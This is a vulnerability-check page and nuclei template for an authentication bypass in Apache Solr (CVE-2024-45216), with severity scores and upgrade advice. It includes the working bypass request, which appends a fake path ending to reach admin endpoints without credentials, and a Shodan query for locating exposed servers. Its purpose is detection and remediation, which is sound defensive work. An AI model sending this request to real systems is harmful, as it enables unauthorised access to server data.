Apache Solr - Authentication Bypass

criticalseverity

9.8CVSS score

92.7%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Solr instances using the PKIAuthenticationPlugin, which is enabled by default when Solr Authentication is used, are vulnerable to Authentication bypass.A fake ending at the end of any Solr API URL path, will allow requests to skip Authentication while maintaining the API contract with the original URL Path.This fake ending looks like an unprotected API path, however it is stripped off internally after authentication but before API routing.This issue affects Apache Solr- from 5.3.0 before 8.11.4, from 9.0.0 before 9.7.0.

Impact

Users are recommended to upgrade to version 9.7.0, or 8.11.4, which fix the issue.

Fix

Apply the latest security patches and updates from the vendor to address this vulnerability.

How to confirm it

Send: GET /solr/admin/info/properties:/admin/info/key
Positive when: contains "responseHeader" and "system.properties" and "solr.script" and "solr.solr.home" AND contains in content_type "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2024-45216 -u <target>

The full check

id: CVE-2024-45216

info:
  name: Apache Solr - Authentication Bypass
  author: gumgum
  severity: critical
  description: |
    Solr instances using the PKIAuthenticationPlugin, which is enabled by default when Solr Authentication is used, are vulnerable to Authentication bypass.A fake ending at the end of any Solr API URL path, will allow requests to skip Authentication while maintaining the API contract with the original URL Path.This fake ending looks like an unprotected API path, however it is stripped off internally after authentication but before API routing.This issue affects Apache Solr- from 5.3.0 before 8.11.4, from 9.0.0 before 9.7.0.
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: |
    Users are recommended to upgrade to version 9.7.0, or 8.11.4, which fix the issue.
  reference:
    - https://shfsec.com/cve-2024-45216-authentication-bypass-in-apache-solr
    - https://nvd.nist.gov/vuln/detail/CVE-2024-45216
    - https://solr.apache.org/security.html#cve-2024-45216-apache-solr-authentication-bypass-possible-using-a-fake-url-path-ending
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-45216
    cwe-id: CWE-863,CWE-287
    epss-score: 0.92747
    epss-percentile: 0.99829
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.html:"Apache Solr"
  tags: cve,cve2024,apache,solr,auth-bypass,vuln,vkev

http:
  - raw:
      - |
        GET /solr/admin/info/properties:/admin/info/key HTTP/1.1
        Host: {{Hostname}}
        SolrAuth: {{to_lower(rand_text_alpha(5))}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "responseHeader"
          - "system.properties"
          - "solr.script"
          - "solr.solr.home"
        condition: and

      - type: word
        part: content_type
        words:
          - 'application/json'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from